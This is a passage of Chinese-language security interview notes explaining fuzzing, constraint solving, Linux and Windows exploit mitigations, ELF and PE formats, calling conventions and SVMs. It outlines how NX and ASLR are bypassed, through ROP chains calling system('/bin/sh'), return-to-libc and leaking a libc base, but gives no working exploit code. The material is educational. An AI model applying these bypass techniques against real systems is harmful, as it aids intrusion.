  • 格式化字符串漏洞(Format String Bugs):当程序使用 printf 等函数,且格式化字符串可由用户控制时,攻击者可以利用它来读写内存。Fuzzer 可以尝试在输入中插入 %s, %n, %x 等格式符来检测这种漏洞

逻辑漏洞和异常情况

除了内存安全问题,Fuzzing 也可以用来发现更复杂的逻辑漏洞,尽管这通常需要更智能的 Fuzzer 或额外的检测机制

  • 逻辑错误(Logical Bugs):Fuzzer 可以通过提供畸形但不会导致崩溃的输入,来发现程序中不正确的逻辑。例如,一个输入可能导致数据库返回错误的结果,或者一个视频播放器无法正确解析视频帧
  • 拒绝服务(Denial of Service, DoS):当一个输入导致程序进入无限循环或消耗大量资源时,就会引发 DoS 攻击。Fuzzer 可以通过监控程序执行时间或资源消耗来检测这类问题
  • 竞态条件(Race Conditions):在多线程或多进程程序中,Fuzzer 可以通过随机化输入发送时间或使用多个线程来触发竞态条件,从而发现漏洞
  • 权限绕过(Privilege Escalation):Fuzzing 可以用来寻找程序在处理特殊输入时,是否会错误地提升权限
  • 信息泄露(Information Leakage):Fuzzer 可以通过分析程序的输出或返回值,来检测程序是否泄露了不应被公开的敏感信息,比如内存地址或调试信息

符号执行是如何做约束求解的

1. 什么是约束求解

一个约束求解器(也叫 SMT Solver,Satisfiability Modulo Theories Solver)是符号执行的“大脑”。它的工作是解决一个公式(或一组公式)是否可满足

例如,对于一个简单的程序:

1
2
3
4
5
6
7
int main(int x, int y) {
if (x + y > 10) {
printf("Branch 1");
} else {
printf("Branch 2");
}
}

符号执行会将 xy 变成符号 XY。如果要探索 Branch 1,它就会生成约束:X + Y > 10

约束求解器接收这个约束,然后找到满足这个条件的具体值。一个可能的解是 X=5Y=6。符号执行器就可以用 x=5, y=6 作为输入,来验证 Branch 1 是否可达

2. 约束求解的内部工作原理

约束求解器本身是基于一套复杂的算法来工作的,主要包括:

a. 逻辑分解

求解器首先会分析给定的约束公式,将其分解为更小的、可管理的子问题。例如,一个复杂的逻辑表达式 (A && B) || C 会被分解成两个独立的子问题:A && BC

b. 理论推理

SMT Solver 的“理论”部分是它的核心能力。它能够理解并处理不同领域(如整数、数组、位向量等)的约束。例如:

  • 算术理论(Arithmetic Theory):处理 +, -, *, > 等数学运算
  • 位向量理论(Bitvector Theory):处理二进制位运算,如 &, |, ^, << 等。这对于分析底层二进制代码至关重要
  • 数组理论(Array Theory):处理数组的读写操作

当一个约束公式涉及到多个理论时,SMT Solver 会使用一种叫 CDCL(T)(Conflict-Driven Clause Learning with Theories)的算法,协调各个理论求解器来解决问题。

c. 变量赋值与回溯

求解器会尝试给变量赋值,并检查这些赋值是否满足约束

  • 如果满足:它会继续给其他未赋值的变量赋值,直到找到一个完整的解
  • 如果不满足:它会回溯(backtrack),撤销之前的赋值,并尝试新的组合

这个过程很像解决数独,每一步的赋值都会影响后续的选择,而当发现无解时,就需要退回到上一步重新选择

3. 符号执行与约束求解的结合

符号执行器和约束求解器是紧密配合的

  1. 符号执行器

    • 遍历程序代码,将变量抽象为符号
    • 遇到分支(if, while)时,为每个分支生成一个路径约束
    • 将路径约束传递给约束求解器
  2. 约束求解器

    • 接收路径约束
    • 尝试找到满足约束的一组具体值
    • 如果找到了解,就将解返回给符号执行器
  3. 符号执行器

    • 使用求解器返回的具体值作为输入,来探索新的代码路径
    • 如果求解器返回“无解”(unsatisfiable),则说明该代码路径不可达

讲讲 Linux 平台的漏洞缓解机制

1. 堆栈保护(Stack Smashing Protection, SSP)

这是最基础,也是最重要的堆栈溢出缓解机制

  • 原理: 在函数调用时,编译器会在栈上的局部变量和返回地址之间插入一个随机的“金丝雀值”(Canary Value)
  • 工作方式:
    • 函数进入时,金丝雀值被推入栈中
    • 函数返回前,程序会检查这个金丝雀值是否被改变
    • 如果金丝雀值被修改,说明发生了缓冲区溢出,程序会立即终止(通常会调用 __stack_chk_fail 函数),而不是让攻击者控制程序流
  • 局限性: 攻击者可以通过覆盖低地址的变量或利用其他漏洞(如格式化字符串漏洞)来泄露金丝雀值,从而绕过此保护

2. 地址空间布局随机化(Address Space Layout Randomization, ASLR)

ASLR 是一个非常有效的漏洞缓解机制,它让攻击者难以预测内存中关键数据的位置

  • 原理: 每次程序启动时,ASLR 会将程序的主要内存区域(如可执行文件基址、堆、栈和共享库(DLL/SO))加载到随机的地址上
  • 工作方式: 攻击者在利用漏洞时,通常需要知道某个函数(例如 system 函数)或某个数据(例如返回地址)的精确内存地址。ASLR 打破了这种确定性,使得攻击者无法在不知道这些地址的情况下构造 ROP 链(Return-Oriented Programming)
  • 局限性:
    • 熵不足: 早期版本的 ASLR 随机化范围有限,攻击者可以通过暴力破解或多次尝试来绕过
    • 信息泄露: 如果程序存在信息泄露漏洞(如格式化字符串漏洞),攻击者可以泄露出某个模块的基址,从而推算出其他所有函数的地址,绕过 ASLR

3. 不可执行内存(Non-Executable Memory)/ NX 位(No-eXecute)

这是为了防止攻击者将恶意代码注入数据段(如堆或栈)并执行而设计的

  • 原理: CPU 的 MMU(内存管理单元)会根据内存页的权限来决定是否允许执行该页中的代码。NX 位被设置在页表项中,如果该位为 1,则该页不可执行
  • 工作方式: 操作系统会将堆、栈等数据段标记为不可执行。当攻击者利用缓冲区溢出将 Shellcode(恶意代码)写入栈上并尝试执行时,CPU 会抛出异常,阻止代码的执行
  • 局限性:
    • ROP 攻击: ROP(Return-Oriented Programming)是一种绕过 NX 位的方法。攻击者不注入代码,而是通过利用程序本身已有的代码片段(称为“gadgets”),并精心构造返回地址链来执行恶意逻辑
    • JIT(即时编译)代码: 对于一些需要动态生成和执行代码的应用程序(如 Java 或 JavaScript 引擎),它们需要创建可执行的内存区域,这可能会被攻击者利用

4. 只读重定位(Read-Only Relocations, RELRO)

RELRO 旨在保护程序在加载后不被修改,特别是全局偏移表(GOT)和过程链接表(PLT)

  • 原理:
    • GOT(Global Offset Table): 存储了外部共享库函数的实际地址
    • PLT(Procedure Linkage Table): 负责将函数调用重定向到 GOT
  • 工作方式:
    • 部分 RELRO: 在程序加载时,.got 段是可写的,因为加载器需要填充外部函数的地址。加载后,.got 段变为只读
    • 完全 RELRO: 将 GOT 表完全设置为只读,所有重定位都在程序加载前完成
  • 局限性: 攻击者无法再利用 GOT 覆写漏洞来劫持程序流。然而,它并不能防御所有类型的攻击

5. 控制流完整性(Control Flow Integrity, CFI)

CFI 是一种更高级的保护机制,它旨在确保程序执行的控制流不会被攻击者劫持

  • 原理: CFI 在编译和链接阶段为每个间接调用(如函数指针调用)和返回指令创建元数据,并在运行时检查这些元数据,确保控制流的跳转是合法的、预期的
  • 工作方式:
    • 向前边沿 CFI(Forward-Edge): 保护间接函数调用,确保函数指针只能跳转到其类型兼容的函数
    • 向后边沿 CFI(Backward-Edge): 保护函数返回,确保返回地址不会被篡改
  • 局限性: CFI 的实现较为复杂,并且可能引入性能开销。虽然能防御 ROP 攻击,但并不能防御所有类型的攻击,且可以被绕过

NX 是怎么绕过的

绕过 NX 的基本思路

NX 阻止了攻击者在数据段上执行自己的代码。那么,绕过 NX 的基本思路就是:不注入代码,而是利用程序本身已有的、具有执行权限的代码

这个思路催生了多种绕过技术,其中最主要、最著名、最通用的就是 ROP

ROP

ROP 是目前最主流的 NX 绕过技术。它的原理是利用程序中已有的、以 ret 指令结尾的短小代码片段,这些片段被称为 “gadgets”

ROP 的工作原理

  1. 寻找 Gadgets: 攻击者首先在目标程序或其依赖的共享库(如 libc)中寻找一系列以 ret 指令结尾的“gadgets”。一个 gadget 可能是一条或几条汇编指令,例如:pop edi; ret;mov eax, [ebx]; ret;
  2. 构建 ROP 链: 攻击者利用漏洞(如缓冲区溢出),用一系列精心挑选的 gadget 地址来覆盖栈上的返回地址这些地址按顺序排列,形成一个 “ROP 链”
  3. 劫持控制流: 当函数返回时,它不再返回到正常调用的地方,而是返回到 ROP 链中的第一个 gadget
  4. 链式执行:
    • 第一个 gadget 执行完后,其末尾的 ret 指令会从栈上弹出下一个地址,也就是 ROP 链中的第二个 gadget
    • 这样,一个 gadget 接一个 gadget 地执行,每个 ret 指令都将控制流转移到下一个 gadget
    • 通过这种方式,攻击者可以利用程序中已有的代码,间接地执行任意恶意逻辑

ROP 攻击的最终目标

一个典型的 ROP 攻击,其最终目标通常是调用某个函数,比如 system(),并将一个指向 Shell 命令字符串(例如 "/bin/sh")的指针作为参数传递给它

一个完整的 ROP 链通常包含:

  • pop gadget: 用于将栈上的参数值弹出到寄存器中,为函数调用做准备
  • system() 的地址: ROP 链的末尾,用于最终调用 system()
  • 字符串 /bin/sh 的地址: 作为 system() 的参数

绕过 NX 的其他方法

除了 ROP,还有其他一些不那么常见,但同样能绕过 NX 的技术:

1. JIT Spraying(JIT 喷射)

这种方法主要用于绕过浏览器中的 NX 保护

  • 原理: JIT(Just-In-Time)编译器会动态地生成可执行代码。攻击者可以利用 JavaScript 等语言的 JIT 特性,构造大量的 nop 指令(无操作指令),然后在其末尾附上 Shellcode
  • 工作方式: JIT 引擎会将这些指令编译成原生机器码并存放在一个可执行的内存区域。攻击者只需找到这个可执行区域的地址,并跳转过去即可

2. Return-to-libc(返回到 libc)

Return-to-libc 是 ROP 的前身和简化版。它不需要复杂的 gadget 链,而是直接劫持程序流,跳转到已加载的 libc 库中的一个函数

  • 原理: 攻击者利用漏洞,用 libcsystem() 函数的地址覆盖栈上的返回地址
  • 工作方式: 当函数返回时,程序流会直接跳转到 system() 函数。攻击者在栈上预先放置好 system() 函数所需的参数(如 "/bin/sh" 的地址),即可实现代码执行
  • 局限性: 这种方法非常简单,但它只能调用 libc 中已有的函数,而不能像 ROP 那样组合出更复杂的逻辑

讲讲 Linux 平台的 ELF 文件结构

ELF 文件的两种视图

理解 ELF 文件的关键在于,它有两个不同的、但相互关联的视图:

  1. 链接视图(Linking View): 供编译器和链接器使用。它由**节(Sections)**组成,主要用于编译、链接和重定位
  2. 执行视图(Execution View): 供操作系统加载器使用。它由**段(Segments)**组成,用于将程序加载到内存中并执行

这两种视图由 ELF 头部中的两个表来描述:节头部表和程序头部表

ELF 头部

每个 ELF 文件的开头都是一个 ELF 头部,它提供了文件的基本信息,就像 PE 文件的 DOS 头部一样。它定义了文件的类型、机器架构、入口点地址等

ELF 头部最重要的一些字段是:

  • e_ident[EI_MAG0-3]:4 字节的魔数,固定为 0x7f, 'E', 'L', 'F'。这是识别 ELF 文件的唯一标志
  • e_ident[EI_CLASS]:指定文件架构,1 代表 32 位,2 代表 64 位
  • e_ident[EI_DATA]:指定字节序,1 代表小端序,2 代表大端序
  • e_type:文件类型,如 ET_EXEC(可执行文件)、ET_DYN(共享库)、ET_REL(可重定位文件)
  • e_entry:程序的入口点地址(虚拟地址)
  • e_phoff:程序头部表(Program Header Table)的文件偏移量
  • e_shoff:节头部表(Section Header Table)的文件偏移量
  • e_phentsize:程序头部表中每个条目的大小
  • e_phnum:程序头部表的条目数量
  • e_shentsize:节头部表中每个条目的大小
  • e_shnum:节头部表的条目数量

链接视图:节

节是 ELF 文件的基本单元,用于组织文件中的各种数据和代码。每个节都有特定的目的

常见的节有:

  • .text:包含可执行代码
  • .data:包含已初始化的全局变量和静态变量
  • .rodata:包含只读数据,如字符串常量
  • .bss:包含未初始化的全局变量和静态变量,在文件中不占用空间,加载时由加载器分配和清零
  • .symtab:符号表,包含了程序中所有符号(函数名、变量名)的信息
  • .strtab:字符串表,存储符号表中的字符串
  • .debug:调试信息,用于 GDB 等调试器
  • .got(Global Offset Table):全局偏移表,用于在运行时解析外部函数地址
  • .plt(Procedure Linkage Table):过程链接表,用于动态链接

节头部表

节头部表是一个描述所有节的数组。每个条目都是一个 Elf64_Shdr(对于 64 位)结构体,它包含了每个节的名称、类型、权限、文件偏移、内存地址和大小等信息。链接器和反汇编工具(如 objdump)主要依赖这个表来分析文件结构

执行视图:段

当程序需要被加载到内存中执行时,节会被组合成更大的逻辑单元——。每个段都具有相同的内存权限(可读、可写、可执行)。这是加载器关心的内容

典型的段有两个:

  • 代码段(Code Segment): 通常包含 .text.rodata 节。这个段被映射到内存中,并具有可读和可执行权限
  • 数据段(Data Segment): 通常包含 .data.bss 节。这个段被映射到内存中,并具有可读和可写权限

程序头部表

程序头部表是一个描述所有段的数组。每个条目都是一个 Elf64_Phdr 结构体,它包含了每个段的类型、文件偏移、内存地址、大小和权限等信息。加载器通过遍历这个表,将 ELF 文件中的内容映射到内存中

  • p_type:段的类型,如 PT_LOAD(可加载到内存)
  • p_offset:段在文件中的偏移量
  • p_vaddr:段在内存中的虚拟地址
  • p_memsz:段在内存中的大小
  • p_flags:段的权限,如 PF_R(可读)、PF_W(可写)、PF_X(可执行)

ELF 文件加载过程

  1. 操作系统内核的加载器读取 ELF 头部,找到程序头部表
  2. 加载器遍历程序头部表中的所有条目
  3. 对于每个类型为 PT_LOAD 的段,加载器将文件中的相应部分,从 p_offset 偏移处开始,映射到内存中的 p_vaddr 虚拟地址上
  4. 加载器根据 p_flags 设置内存页的权限(读、写、执行)
  5. 所有段加载完毕后,加载器将程序控制权交给 e_entry 字段指定的入口点地址,程序开始执行

讲讲 Windows 平台的 PE 文件结构

PE 文件的双重性质

PE 文件的结构可以看作是DOS 文件PE 文件的结合体。这种设计是为了保持与旧版 DOS 操作系统的兼容性。当你双击一个 PE 文件时,操作系统首先会将其作为一个 DOS 程序处理

PE 文件主要由以下几个核心部分组成:

  1. DOS 头部 (DOS Header)
  2. DOS Stub (DOS 存根)
  3. NT 头部 (NT Header)
  4. 可选头部 (Optional Header)
  5. 节表 (Section Table)
  6. 节 (Sections)

1. DOS 头部 (DOS Header)

这是 PE 文件的最前端,一个 IMAGE_DOS_HEADER 结构体

  • e_magic:4 字节的魔数,固定为 0x4D5A (ASCII 字符 “MZ”)。这是识别 PE 文件的标志
  • e_lfanew:一个关键的字段,它是一个 4 字节的偏移量,指向 NT 头部的起始位置

2. DOS Stub (DOS 存根)

这是一个小型的 DOS 程序。当在 DOS 环境下执行这个文件时,它会打印一句经典的提示语:“This program cannot be run in DOS mode.”。它的唯一作用就是为了兼容性

3. NT 头部 (NT Header)

NT 头部是 PE 文件的真正核心,它是一个 IMAGE_NT_HEADERS 结构体,由三个部分组成:

  • Signature:4 字节的签名,固定为 0x50450000 (ASCII 字符 “PE\0\0”)。这标志着它是一个有效的 PE 文件
  • FileHeader (文件头部):一个 IMAGE_FILE_HEADER 结构体,包含了文件的基本属性,比如:
    • Machine:指定文件适用的 CPU 架构,如 0x14C (Intel 386)
    • NumberOfSections:文件中包含的节的数量
    • SizeOfOptionalHeader:可选头部的大小
    • Characteristics:文件的特性,如是否是可执行文件、是否是 DLL 等
  • OptionalHeader (可选头部):一个 IMAGE_OPTIONAL_HEADER 结构体,这部分虽然叫“可选”,但对于可执行文件来说是必需的。它包含了加载器需要的大部分信息,是理解 PE 结构的关键

4. 可选头部 (Optional Header)

可选头部包含了 PE 文件的加载信息,例如:

  • Magic:标志着文件是 32 位 (0x10B) 还是 64 位 (0x20B)
  • AddressOfEntryPoint:程序的入口点地址,它是一个 RVA (Relative Virtual Address)。当文件加载后,加载器会将控制权交给这个地址
  • ImageBase:程序加载到内存中的首选基址
  • SectionAlignmentFileAlignment:内存中和文件中的节对齐粒度
  • SizeOfImage:整个文件被加载到内存后占用的总大小
  • DataDirectory (数据目录):这是最重要的部分之一,一个 IMAGE_DATA_DIRECTORY 结构体数组。它包含了 PE 文件中各种重要数据结构的位置和大小,例如:
    • Import Table (导入表):记录了程序依赖的 DLL 和从中导入的函数。加载器在运行时会根据这个表填充函数的真实地址
    • Export Table (导出表):记录了 DLL 文件中供其他程序调用的函数
    • Resource Table (资源表):包含了图标、光标、菜单、对话框等资源数据
    • Base Relocation Table (基址重定位表):当文件无法加载到其首选基址时,需要进行重定位,这个表记录了所有需要修正的地址
    • TLS Table (线程本地存储表):记录了线程相关的数据
    • Debug Directory (调试目录):指向调试信息

5. 节表 (Section Table)

紧跟在可选头部后面的是节表。这是一个 IMAGE_SECTION_HEADER 结构体数组,数组中的每个结构体都描述了一个

  • Name:节的名称,如 .text, .data, .rdata
  • VirtualAddress:该节在内存中的 RVA
  • SizeOfRawData:该节在文件中的大小
  • PointerToRawData:该节在文件中的偏移量
  • Characteristics:节的属性,例如可读、可写、可执行等权限

6. 节 (Sections)

节是 PE 文件中包含实际数据和代码的区域。它们是根据功能和权限来划分的。常见的节有:

  • .text:包含可执行代码和只读数据。在内存中通常具有只读和可执行权限
  • .data:包含已初始化的全局变量和静态变量。在内存中通常具有可读和可写权限
  • .rdata:包含只读数据,如字符串常量、导入表、导出表等。在内存中通常具有只读权限
  • .idata:导入表
  • .edata:导出表
  • .rsrc:资源数据,如图标和位图
  • .reloc:基址重定位表

PE 文件加载过程

当 Windows 加载器加载一个 PE 文件时,它会:

  1. 检查 DOS 头部和 NT 头部,确认文件是有效的 PE 格式
  2. 根据可选头部中的 ImageBaseSizeOfImage 为程序在内存中分配虚拟地址空间
  3. 遍历节表,将文件中的各个节根据其在文件中的偏移和在内存中的 RVA,映射到先前分配的内存空间中
  4. 处理导入表,将程序依赖的 DLL 加载到内存,并填充导入表中的函数地址
  5. 如果文件无法加载到其首选基址,加载器会处理基址重定位表,修正所有需要调整的地址
  6. 将控制权转移到入口点 (AddressOfEntryPoint),程序开始执行

讲讲 ASLR 怎么绕过

ASLR 的核心思想

首先,我们简要回顾一下 ASLR 的原理。ASLR 是一种漏洞缓解机制,它的核心思想是将程序在内存中的关键区域(如可执行文件、共享库、堆和栈)加载到随机的地址

没有 ASLR 时,每次运行程序,其内存布局都是固定的。攻击者可以精确地预测函数和变量的地址,然后利用漏洞(如缓冲区溢出)来劫持程序流,跳转到这些预先知道的地址

有了 ASLR,程序每次运行时地址都会变化,攻击者无法再依赖硬编码的地址,这大大增加了攻击的难度

绕过 ASLR 的基本思路

ASLR 依赖于地址的保密性。如果攻击者能够泄露(也就是获得)任何一个模块的真实地址,那么 ASLR 就会失效。这是因为一个模块内部的相对偏移(RVA)是固定的。一旦知道了一个函数的真实地址,攻击者就可以通过这个地址减去其 RVA,得到模块的基址,进而计算出该模块中所有其他函数和数据的位置

因此,绕过 ASLR 的核心思路就是信息泄露

常见绕过 ASLR 的技术

以下是一些最常见的绕过 ASLR 的技术,从简单到复杂

1. 信息泄露漏洞

这是最直接的绕过方式。如果程序本身存在一个信息泄露漏洞,攻击者就可以利用它来获得内存中的地址

  • 格式化字符串漏洞(Format String Bug): 攻击者可以利用 %p 格式符来打印栈上的指针。如果栈上恰好有一个指向模块基址或函数地址的指针,攻击者就可以轻松获得这些关键地址
  • 堆溢出或栈溢出: 如果攻击者能够通过溢出漏洞读取栈或堆上的数据,他们可能会读出函数返回地址、栈指针或堆块指针,这些指针都包含有地址信息
  • 未初始化变量: 如果一个变量没有初始化,它可能包含之前内存中的残余数据,而这些残余数据可能恰好是一个地址

如何利用:

  1. 利用信息泄露漏洞获得某个函数的真实地址,比如 puts() 的地址
  2. 通过 puts() 的地址,计算出 libc 库的基址(puts_addr - puts_libc_offset = libc_base
  3. 有了 libc 的基址,就可以计算出 system() 函数和字符串 "/bin/sh" 的地址,从而构造 ROP 链来执行 Shellcode

2. 局部 ASLR 绕过

某些系统或老旧的程序只对部分内存区域进行了 ASLR 随机化,或者随机化范围非常小

  • 弱 ASLR: 32 位系统上的 ASLR 随机化范围通常只有 16 位(64KB)。攻击者可以通过暴力破解或多次尝试来命中正确的地址,这被称为暴力破解攻击(Brute-force Attack)

3. 非随机化区域利用

有些程序或系统组件没有启用 ASLR 保护,它们总会被加载到固定的地址。攻击者可以利用这些非随机化区域作为跳板

  • 静态编译的程序: 如果一个程序是静态编译的,不依赖任何共享库,那么它的所有代码和数据都在一个文件中。即使开启了 ASLR,其自身的基址是随机化的,但如果攻击者能够泄露出一个地址,就能推算出所有其他地址
  • 禁用 ASLR 的模块: 有些老旧的 DLL 可能没有启用 ASLR 编译。这些模块每次都会被加载到固定地址,攻击者可以直接利用其中的 gadgets 或函数

4. 通过其他漏洞组合绕过

ASLR 很少被单独绕过,通常需要与其他漏洞(如代码执行漏洞)结合使用

  • Return-to-PLT/GOT: 攻击者可以利用漏洞劫持程序流,跳转到 GOT(Global Offset Table)中一个已解析的函数地址。因为 GOT 存放的是外部函数的真实地址,通过读取这个地址,攻击者就能获得 libc 等共享库的基址
  • ROP Gadget 寻找: 在没有信息泄露漏洞的情况下,攻击者可以使用多次尝试堆喷射等技术。在现代 64 位系统上,ASLR 随机化范围很大,暴力破解几乎不可行。所以,信息泄露是绕过 ASLR 的首选方式

函数的调用约定有哪些,区别是什么

1. cdecl (C Declaration)

这是 C 语言的默认调用约定,也是最常见的

  • 参数传递:从右到左依次推入栈中
  • 栈清理:由**调用方(caller)**负责在函数返回后清理栈
  • 寄存器eax, ecx, edx 是调用方保存的(caller-saved)寄存器。这意味着被调用函数可以自由使用这些寄存器,如果调用方需要保存它们,需要在调用前自己推入栈中

优点:支持可变参数函数,例如 printf

缺点:每次函数调用后都需要调用方执行额外的栈清理指令,会增加代码大小

2. stdcall (Standard Call)

这是 Windows API 的默认调用约定

  • 参数传递:从右到左依次推入栈中
  • 栈清理:由**被调用方(callee)**负责清理栈
  • 寄存器:与 cdecl 类似

优点:代码更精简。由于被调用方知道参数数量,只需一条指令即可清理栈

缺点:不支持可变参数函数,因为被调用方需要知道参数数量才能正确清理栈

3. fastcall

这是一个为了提高性能而设计的调用约定

  • 参数传递:前两个(或更多,具体取决于编译器和架构)参数通过寄存器传递,而不是通过栈。其余参数从右到左推入栈中
  • 栈清理:由被调用方清理栈
  • 寄存器:使用 ecxedx(在 32 位 Windows 上)或 rcxrdx(在 64 位 Windows 上)来传递前两个参数

优点:通过减少内存访问(栈操作)来提高函数调用速度

缺点:不支持可变参数函数

4. thiscall

这是 C++ 中非静态成员函数的默认调用约定

  • 参数传递:与 cdeclstdcall 类似,但隐藏的 this 指针(指向对象实例)通过寄存器传递
  • 栈清理:由被调用方清理栈

优点:优化了 C++ 成员函数的调用

缺点:只能用于 C++ 成员函数

5. pascal (Pascal Language)

在老旧的 Windows 16 位编程中很常见,现在很少使用

  • 参数传递:从左到右推入栈中
  • 栈清理:由被调用方清理栈

不同平台下的调用约定

  • Windows (x86)

    • cdecl:C/C++ 默认
    • stdcall:Windows API 默认
    • fastcall:用于性能优化
    • thiscall:C++ 成员函数
  • Windows (x64)

    • __fastcall:这是 64 位 Windows 的唯一调用约定。前四个整数或指针参数通过 rcx, rdx, r8, r9 寄存器传递。其余参数从右到左推入栈中
  • Linux (x86)

    • cdecl:默认
  • Linux (x64)

    • 前六个整数或指针参数通过 rdi, rsi, rdx, rcx, r8, r9 寄存器传递。其余参数从右到左推入栈中

    fuzzing 主要是用来干嘛

1. 探索代码路径(Code Coverage)

Fuzzing 的一个核心目标是最大化代码覆盖率。传统的测试可能只会测试程序的“阳光大道”,而 fuzzing 则会试图探索那些不寻常的、可能存在漏洞的角落

例如,一个覆盖率引导的 fuzzer(如 AFL 或 LibFuzzer)会记录下每个输入所执行的代码路径。如果一个新的输入能够触发一条未曾被执行过的代码路径,fuzzer 就会将这个输入保留下来,并对其进行变异,以期能更深入地探索该路径。这种方法使得 fuzzer 能够自动绕过复杂的逻辑检查,深入到程序的核心功能中去

2. 内存安全漏洞检测

许多安全漏洞都与内存操作有关,比如:

  • 缓冲区溢出:向一个固定大小的缓冲区写入了超过其容量的数据,导致相邻的内存区域被覆盖
  • 空指针解引用:程序试图访问一个空指针指向的内存
  • 整数溢出:在进行算术运算时,结果超出了变量类型的最大值,导致意外的结果

Fuzzing 工具通过监控程序的内存访问行为来检测这些漏洞。例如,fuzzer 可以使用 Sanitizer 工具(如 AddressSanitizer、MemorySanitizer)来在运行时追踪内存读写,一旦发现非法访问,就会立即报告

3. 绕过输入验证

攻击者通常需要绕过程序的输入验证逻辑才能触发漏洞。从二进制角度来看,fuzzing 能够通过变异输入的字节来绕过这些验证

例如,一个网络协议解析器可能期望数据包的某个字段是一个特定的值。Fuzzer 会随机改变这个字段的字节,并观察解析器的行为。如果变异后的数据包导致程序进入一个异常状态,fuzzer 就找到了一个潜在的漏洞


对 Windows 平台的漏洞和保护机制了解多少

常见的 Windows 漏洞类型

理解 Windows 漏洞首先要从其根源——软件缺陷说起。以下是一些最常见、最危险的漏洞类型:

  • 缓冲区溢出 (Buffer Overflows):这是最经典的漏洞类型。当程序向一个固定大小的缓冲区写入的数据超过其容量时,多余的数据会覆盖相邻的内存,比如函数返回地址或栈上的其他数据。攻击者可以利用这一点来劫持程序执行流程
    • 栈溢出 (Stack Overflows):发生在栈上,通常用于劫持函数返回地址
    • 堆溢出 (Heap Overflows):发生在堆上,比栈溢出更复杂,但同样危险,通常用于修改关键数据结构或函数指针
  • 整数溢出 (Integer Overflows):当一个整数运算的结果超出其数据类型的最大值时,会发生溢出,导致非预期的结果。攻击者可以利用整数溢出绕过大小检查,比如分配一个远小于所需内存的缓冲区,然后触发缓冲区溢出
  • 格式化字符串漏洞 (Format String Bugs):当程序使用 printf 等函数时,如果攻击者能控制格式化字符串,他们就可以利用 %p, %n 等格式符来读取栈上的数据(信息泄露)或向任意地址写入数据。这种漏洞通常用于绕过 ASLR
  • UAF (Use-After-Free):当程序释放一块内存后,仍然继续使用这个指针。攻击者可以利用这个时间差,在这块内存被重新分配给其他数据后,通过旧指针访问或修改新数据,从而达到执行任意代码的目的
  • 竞态条件 (Race Conditions):当两个或多个线程在没有适当同步的情况下,竞争访问和修改共享资源时,可能会导致意外的结果。攻击者可以利用这种不确定性来触发漏洞,例如在程序检查完权限后,但在执行操作前,快速修改一个文件

Windows 平台的漏洞保护机制

为了对抗这些漏洞,微软在 Windows 操作系统和编译器中集成了一系列强大的漏洞缓解机制。这些机制不会修复漏洞本身,但会大大增加攻击的难度

  • 数据执行保护 (Data Execution Prevention, DEP):这是最基本的保护机制之一,也称 NX 位(No-eXecute)。它将内存页标记为不可执行,以防止攻击者在数据段(如堆和栈)上执行恶意代码。为了绕过 DEP,攻击者必须使用代码重用技术,比如 ROP
  • 地址空间布局随机化 (Address Space Layout Randomization, ASLR):ASLR 会将可执行文件、DLL、堆和栈等关键内存区域随机加载到不同的地址。这使得攻击者无法预测函数和变量的精确位置,从而让传统的缓冲区溢出攻击失效。ASLR 的主要弱点是信息泄露漏洞,攻击者可以通过它来获取关键地址,从而绕过 ASLR
  • 栈保护 (Stack Canaries):也称为 SSP (Stack Smashing Protection)。编译器在函数返回地址之前插入一个随机的“金丝雀值”。在函数返回前,程序会检查这个值是否被修改。如果被修改,就说明发生了栈溢出,程序会立即终止
  • 控制流防护 (Control Flow Guard, CFG):CFG 是一个更高级的保护机制,旨在对抗 ROP 攻击。它通过在编译器和操作系统层面创建和验证一个合法的间接调用地址列表。在运行时,它会检查所有的间接函数调用,如果目标地址不在这个合法列表中,就会阻止调用
  • SEHOP (Structured Exception Handling Overwrite Protection):SEHOP 是一种针对 SEH 覆盖漏洞的保护。它通过在异常处理链的末尾插入一个特殊的指针来验证链的完整性。如果攻击者试图覆盖 SEH 链,这个验证就会失败,阻止攻击
  • SafeSEH:在编译时,SafeSEH 会生成一个合法的异常处理函数列表。在运行时,操作系统会验证异常处理函数的地址是否在列表中。这防止了攻击者利用非法的异常处理函数来劫持程序流

28- AI安全

介绍下 SVM

SVM 的核心思想:寻找最佳分隔超平面

想象一下,你有一堆红色的球和蓝色的球,你想用一根线把它们分开。你可以画出无数条线,但哪条线是最好的呢?

SVM 的答案是:那条离最近的红色球和蓝色的球都最远的线

在二维空间中,这个“线”就是一个分隔平面(Separating Plane)。在三维空间中,它是一个平面。在更高维度的空间中,我们称它为超平面(Hyperplane)

  • 支持向量(Support Vectors):这些“最近”的数据点就是支持向量。它们是距离超平面最近的那些训练样本点,它们决定了超平面的位置。如果移除或移动这些支持向量,超平面的位置可能会发生变化。但如果移动那些离超平面很远的数据点,超平面则保持不变
  • 最大间隔(Maximal Margin):超平面到最近支持向量的距离被称为间隔(Margin)。SVM 的目标就是找到一个超平面,使得这个间隔最大化。这个最大间隔的超平面就是最优超平面

线性可分与非线性可分

1. 线性可分(Linear SVM)

当数据可以被一条直线(或一个超平面)完美分开时,我们称其为线性可分。在这种情况下,我们可以直接使用上面提到的最大间隔方法来找到最优超平面。

2. 非线性可分(Kernel SVM)

大多数情况下,数据点并非线性可分。例如,红色球和蓝色球可能混合在一起,你无法用一条直线将它们完全分开

这就是 SVM 强大之处的体现:核技巧(Kernel Trick)

核技巧的核心思想是,将原始的低维数据映射到一个更高维度的空间,在这个高维空间中,数据变得线性可分

举个例子:一个二维的圆环,内圈是蓝色,外圈是红色。在二维平面上,你无法用一条直线将它们分开。但是,如果我们将这些点映射到三维空间,它们可能就会在一个平面上呈“碗状”分布,这时我们就可以用一个平面将它们分开了

常用的核函数有:

  • 线性核(Linear Kernel):当数据本身线性可分时使用
  • 多项式核(Polynomial Kernel):可以将低维数据映射到高维
  • 径向基函数核(RBF Kernel):也叫高斯核,这是最常用、最强大的核函数之一,它能够将样本映射到无穷维度的空间,从而处理非常复杂的数据集

软间隔与惩罚参数 C

在现实世界中,完美的分隔几乎不存在,数据集中往往会有一些“异常值”或“噪声”点,它们会混入另一个类别。如果我们坚持找到一个完美的超平面,模型可能会过拟合

为了解决这个问题,SVM 引入了**软间隔(Soft Margin)**的概念。它允许一些数据点“越界”,即它们可以出现在间隔内部,甚至位于错误的一侧

  • 惩罚参数 C(Penalty Parameter C):这个参数用来控制容忍度
    • C 值很小:模型容忍度高,允许更多数据点越界。这会使间隔更大,但可能会导致一些误分类,因此更不容易过拟合
    • C 值很大:模型容忍度低,对错误分类的惩罚很高。这会使间隔变小,模型试图精确地分离所有训练数据,因此更容易过拟合

选择合适的 C 值是一个重要的调优步骤


如何降低模型的误报率

1. 调整决策阈值

